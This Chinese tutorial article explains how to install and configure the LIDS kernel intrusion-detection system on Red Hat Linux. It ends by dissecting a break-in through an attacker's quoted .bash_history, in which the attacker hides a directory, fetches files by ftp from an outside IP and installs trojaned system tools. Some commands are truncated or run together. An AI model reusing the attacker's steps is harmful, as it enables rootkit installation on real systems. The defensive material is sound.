王朝网络
分享
 
 
 

网络安全初体验之IDS入侵检测详解二

王朝other·作者佚名  2008-05-19
宽屏版  字体: |||超大  

基于内核的入侵检测

基于内核的入侵检测是一种相当巧妙的新型的Linux入侵检测系统。现在最主要的基于内核的入侵检测系统叫做LIDS。

什么是LIDS?LIDS是一种基于Linux内核的入侵检测和预防系统。

LIDS的保护目的是防止超级用户root的篡改系统重要部分的。LIDS主要的特点是提高系统的安全性,防止直接的端口连接或者是存储器连接,防止原始磁碟的使用,同时还要保护系统日志文件。LIDS当然也会适当制止一些特定的系统操作,譬如:安装sniffer、修改防火墙的配置文件。

LIDS文档工程

LIDS比安装PortSentry和LogCheck要复杂一点,但是很幸运的是,在LIDS的主页上面有详细的安装和配置手册。

安装LIDS

首先,在安装之前,我们需要大部分最新的LIDS软件包(我使用的是0.9)和适当的内核版本。我现在使用的是从Red Hat主页上下载的2.2.14-12版本的内核,因为其中包含一些安全补丁。同时你也需要你使用的内核的一些源代码。

现在的LIDS主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的Red Hat Linux 6.2上面安装了LIDS。在安装LIDS之前,我在ftp.redhat.com下载了最新的内核版本,并且依照http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html 安装了这个内核。

接着的事情就是升级内核源代码。这里我们是这样做的:

rpm -Uhv kernel-source-2.2.14-12.i386.rpm然后就是编译和安装lidsadm这个程序:

cd /usr/local/src/security/lids-0.9/lidsadm-0.9make

make install

生成一个RipeMD-160口令,这个以后将会在安装进内核的:

lidsadm -P输入口令是"anypass",得到秘钥"d502d92bfead11d1ef17887c9db07a78108859e8"。接着,我把Redhat的配置文件拷贝到我的结构体系中,在/usr/src/linux目录下面:

cd /usr/src/linux/configs/

cp kernel-2.2.12-i686.config ..

下面我们就使用下面的命令来安装LIDS:

cd /usr/src

patch -p0 同时我们应该注意到Red Hat所提供的内核和Linus发布的标准的2.2.14版本的内核有一些细微的差别,因为其中包含一些修改过的驱动程序。同样lids-0.9-2.2.14-redhat.patch文件也是和LIDS发布的标准的lids-0.9-2.2.14.patch有一些细微的差别,不过可能后者并不是特别适合于Red Hat系统。

最后,就是配置、编译和安装内核了:

cd /usr/src/linuxmake menuconfig

make dep; make clean

make

install; make modules; make modules_install

下面的脚本展示了在配置内核的过程中我设置的LIDS配置选项:

[*] Linux Intrusion Detection System support (EXPERIMENTAL)--- LIDS features

[ ] Hang up console when raising a securit alert

[*] Security alert when execing unprotected programs before sealing

[ ] Do not execute unprotected programs before sealing LIDS

[*] Enable init children lock feature

[*] Try not to flood logs

(60) Authorised time between two identic logs (seconds)

[*] Allow switching LIDS protections

RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8

(3) Number of attempts to submit password

(3) Time to wait after a fail (seconds)

[*] Allow remote users to switch LIDS protections

[ ] Allow any program to switch LIDS protections

[*] Allow reloading config. file

[ ] Hide some known processes

[*] Port Scanner Detector in kernel

[ ] Send security alerts through network

--- Special authorizations

[ ] Allow some known processes to access /dev/mem (xfree, etc.)

[ ] Allow some known processes to access raw disk devices

[ ] Allow some known processes to access io ports

[ ] Allow some known processes to change routes

--- Special UPS

[*] Allow some known processes to unmount devices

Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"

[*] Unmounting capability is inherited

[*] Allow some known processes to kill init children

Allowed processes: "/etc/rc.d/init.d/halt"

[*] Killing capability is inherited

看得出,我没有使用UPS,同时运行的是一个需要能够远程访问的服务器,我就按照上面的文件进行了配置,但是在实际应用过程中,每个人的系统根据环境不一样,会有一些差别。

配置LIDS:

有一条特别要引起注意:在你的系统的下一次重启之前就应该配置好LIDS!我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf,而不能手动的修改。运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供了很多使用LIDS保护文件的例子,例如:

lidsadm -A -r /sbin 这条命令保护/sbin整个目录,并且表示只读。

我首先的LIDS配置文件应该是这样的:

lidsadm -Zlidsadm -A -r /usr/bin

lidsadm -A -r /bin

lidsadm -A -r /usr/sbin

lidsadm -A -r /sbin

lidsadm -A -r /usr/X11R6/bin

lidsadm -A -r /etc/rc.d

lidsadm -A -r /etc/sysconfig

一旦配置了LIDS的配置文件,就应该修改系统的启动文件保证在系统启动的时候就能运行LIDS,这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加到/etc/rc.d/rc.local的末尾,这样能够保证LIDS的功能不会妨碍系统的其他应用程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本:

/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO

-CAP_SYS_ADMIN-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE

+INIT_CHILDREN_LOCK

配置lilo

我们知道,使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编译加载过LIDS的新内核能够正常的启动。在下次重启之后,LIDS将会在系统中运行,不过如果你需要停止LIDS而执行一些系统的任务,就应该按照下面的命令进行:

/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL

你需要提供LIDS的口令,当时在编译内核的时候在内核中加入了RipeMD-160格式。不知道你是否注意到了,在shutdown的脚本中,很多脚本都不能正常的工作。最终的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件rc.local中 "+INIT_CHILDREN_LOCK"的保护作用,其他的进程都没有权限来杀掉init()的其他子进程。同时每隔10分钟,你就会收到一个关于"rmmod as"不能卸载模块的出错信息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。

LIDS能够保护什么?

快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是最重要的:

CAP_LINUX_IMMUTABLE 当文件和外那间系统被标识"immutable"防止被写; CAP_NET_ADMIN 防止篡改网络配置(例如:防止路由表被修改);

CAP_SYS_MODULE 防止内核模块被插入或者移除;CAP_SYS_RAWIO 防止损坏磁盘或者设备I/O;

CAP_SYS_ADMIN 防止大范围的使用其他系统功能;

INIT_CHILDREN_LOCK which prevents child processes of the init() master process from being tampered with.

无论在哪个点,上面这些特性都能够通过命令"lidsadm -I"来启动,通过"lidsadm -S"来禁用(可以允许真正的系统管理员来进行系统配置),同时提供已经安装在内核中的LIDS口令(是通过RipeMD-160加密的)。

剖析一次入侵

当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限,这个时候就是主机被入侵了(事实上是不可能发生的,但是安装Linux系统的人忘记了打上RedHat最新的关于缓冲区溢出的补丁程序,并且让系统一直运行着)。当然一些黑客也不够小心,当他们侵入主机后,很急切的获得了shell,但是他们经常没有考虑到BASH的命令将会被存入系统日志文件中,简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们可以看看(为了更加简单我们做过一些细微的修改): mkdir /usr/lib/... ; cd /usr/lib/...ftp 200.192.58.201 21

cd /usr/lib/...

mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;

mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;

mv tcpd.gz? tcpd.gz

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
>>返回首页<<
推荐阅读
 
 
频道精选
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
© 2005- 王朝网络 版权所有